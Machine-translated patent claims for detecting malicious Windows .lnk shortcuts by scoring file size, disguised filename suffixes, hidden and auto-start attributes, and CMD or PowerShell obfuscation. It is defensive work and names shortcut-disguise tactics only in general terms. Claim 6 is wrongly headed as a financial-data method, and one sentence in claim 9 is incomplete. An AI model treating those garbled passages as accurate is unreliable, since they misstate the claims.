1. A method for detecting shortcuts in a computer operating system, characterized in that: The method comprises the following steps: When it is determined that the file type of the first file is a shortcut, obtaining a file path A corresponding to the created file and a file path B after the file is renamed; Obtain the storage size of the shortcut for the file of file path A by calling a function, and obtain a first abnormality evaluation value of file path A according to a first threshold relationship between the storage sizes; Extract the file name of file path B, remove the lnk suffix of the file name to obtain a filtered file name, and perform camouflage detection on the character string of the filtered file name to determine a second abnormality assessment value of file path B; A total evaluation value of the file is determined according to the first abnormality evaluation value and the second abnormality evaluation value, and whether the first file is a malicious shortcut is determined according to the total evaluation value.
2. The method for detecting shortcuts of a computer operating system according to claim 1, characterized in that: The step of performing camouflage detection on the character string of the filtered file name to determine the second abnormality evaluation value of the file path B specifically includes: Identify whether the filtered file name is a document file. If it is determined to be a non-document file, extract the TargetUnicode value or TargetAnsi value corresponding to the file path B. If either the TargetUnicode value or the TargetAnsi value is different from the value in the path list in LinkTargetIDList, determine that the filtered file name is disguised, and determine that the second anomaly assessment value is the maximum value.
3. The method for detecting shortcuts of a computer operating system according to claim 1, characterized in that: The step of performing camouflage detection on the character string of the filtered file name to determine the second abnormality evaluation value of the file path B specifically includes: Extract the file suffix of the filtered file name to obtain a first suffix, extract the suffix of the file pointed to by file path B to obtain a second suffix, perform conflict detection on the first suffix and the second suffix, and determine a second abnormality assessment value of file path B based on the result of the conflict detection.
4. The method for detecting shortcuts of a computer operating system according to claim 3, characterized in that: The performing of conflict detection on the first suffix and the second suffix and determining the second abnormality evaluation value of the file path B according to the result of the conflict detection specifically includes: Compare the first suffix and the second suffix to see if they are consistent. If they are inconsistent, determine the conflict. Check whether the first suffix exists in the first preset list and whether the second suffix exists in the second preset list. If the first suffix exists in the first preset list and the second suffix exists in the second preset list, determine that the result of the conflict detection is a strong conflict, and assign a first set value to the second abnormal evaluation value. If the first suffix does not exist in the first preset list or the second suffix does not exist in the second preset list, determine that the conflict detection result is a weak conflict, and assign a second set value to the second abnormal evaluation value, wherein the first set value>the second set value; The first preset list is a document suffix list, and the second preset list is a non-document suffix list.
5. The method for detecting shortcuts of a computer operating system according to any one of claims 1 to 4, characterized in that: The method further comprises: Obtain a hidden attribute and a self-starting attribute of the first file, determine a third abnormality evaluation value of the first file according to the hidden attribute and the self-starting attribute, and add the third abnormality evaluation value to the total evaluation value.
6. The method for determining abnormality in financial data according to claim 5, characterized in that: Determining the third abnormality evaluation value of the first file according to the hidden attribute and the self-starting attribute specifically includes: Determine the lnk file path, obtain the lnk file attribute, identify whether the lnk file attribute is a hidden attribute, if it is identified that the lnk file attribute is a hidden attribute, perform self-start attribute matching on the lnk file, if the lnk file contains the self-start attribute, assign a fourth preset value to the third abnormal evaluation value, if the lnk file does not contain the self-start attribute, assign a fifth preset value to the third abnormal evaluation value, wherein the fourth preset value>the fifth preset value.
7. The method for detecting shortcuts of a computer operating system according to any one of claims 1 to 4, characterized in that: The shortcut method of determining whether the first file is malicious according to the total evaluation value specifically includes: If the total evaluation value is greater than the malicious threshold, the first file is determined to be a malicious shortcut. If the total evaluation value is less than the malicious threshold, based on the interval in which the total evaluation value is located, the detection process corresponding to the interval is called to determine whether the first file is a malicious shortcut.
8. The method for detecting shortcuts of a computer operating system according to claim 7, characterized in that: The method of calling the detection process corresponding to the interval to determine whether the first file is a malicious shortcut specifically includes: If the total evaluation value is in the medium-risk range, the first file is prevented from running and an alarm is triggered; If the total evaluation value is in a low-risk range or an abnormal range, a secondary detection process is called to detect the first file, and whether the first file is a malicious shortcut is determined based on the secondary detection result.
9. The method for detecting shortcuts of a computer operating system according to claim 8, characterized in that: The calling secondary detection process specifically includes: If the file pointed to by lnk is a script file, the script detection process is executed, including: Analyze massive script attack samples, extract attack features, and build an attack script feature library; determine whether the file pointed to by lnk is a script file. If it is a script file, match the attack script features to determine whether it exists in the attack script feature library; if it exists in the attack script feature library, determine that there are malicious script features, trigger an alarm, and identify the first file as a malicious lnk file; if it does not exist in the attack script feature library, determine that it does not have malicious script features, and determine whether the total evaluation value is greater than the alarm value. If the total evaluation value is greater than the alarm value, determine that there are malicious features in the static analysis of the first file, trigger an alarm, and identify it as a malicious lnk file; If the file pointed to by lnk is a command file, the command detection process is executed, including: Analyze a large number of Trojan files, extract common malicious paths, and build a suspicious path list; if the lnk file pointing to the command file is not a system process, determine whether the process path of the command file executed by the lnk file is in the suspicious path list or whether the lnk file attribute is a hidden attribute. If it is in the suspicious path list or the lnk file attribute, it means that there is suspicion; determine whether the total evaluation value is greater than the alarm value. If the total evaluation value is greater than the alarm value, determine that the static analysis of the first file has malicious features, trigger an alarm, and identify it as a malicious lnk file; If the file pointed to by lnk is not a script file or a command file, the normal detection process is executed, including: Determine whether the file pointed to by lnk is CMD or PowerShell. If it is any one of CMD or PowerShell, perform CMD obfuscation detection or PowerShell obfuscation detection on the file pointed to by lnk. If there is confusion, it means that the LNK file is a malicious LNK file and an alarm is triggered directly. If there is no confusion, determine whether the total evaluation value is greater than the alarm value. If the total evaluation value is greater than the alarm value, it is determined that there are malicious features in the static analysis of the first file, an alarm is triggered, and it is identified as a malicious lnk file.
10. A device for detecting shortcuts in a computer operating system, characterized in that: The device comprises: A monitoring unit, configured to obtain a file path A corresponding to the created file and a renamed file path B when determining that the file type of the first file is a shortcut; An evaluation unit is used to obtain the storage size of the shortcut for the file of file path A by calling a function, and obtain a first abnormality evaluation value of file path A according to a first threshold relationship between the storage sizes; extract the file name of file path B, remove the lnk suffix of the file name to obtain a filtered file name, and perform camouflage detection on the character string of the filtered file name to determine a second abnormality evaluation value of file path B; determine a total evaluation value of the file according to the first abnormality evaluation value and the second abnormality evaluation value, and determine whether the first file is a malicious shortcut according to the total evaluation value.
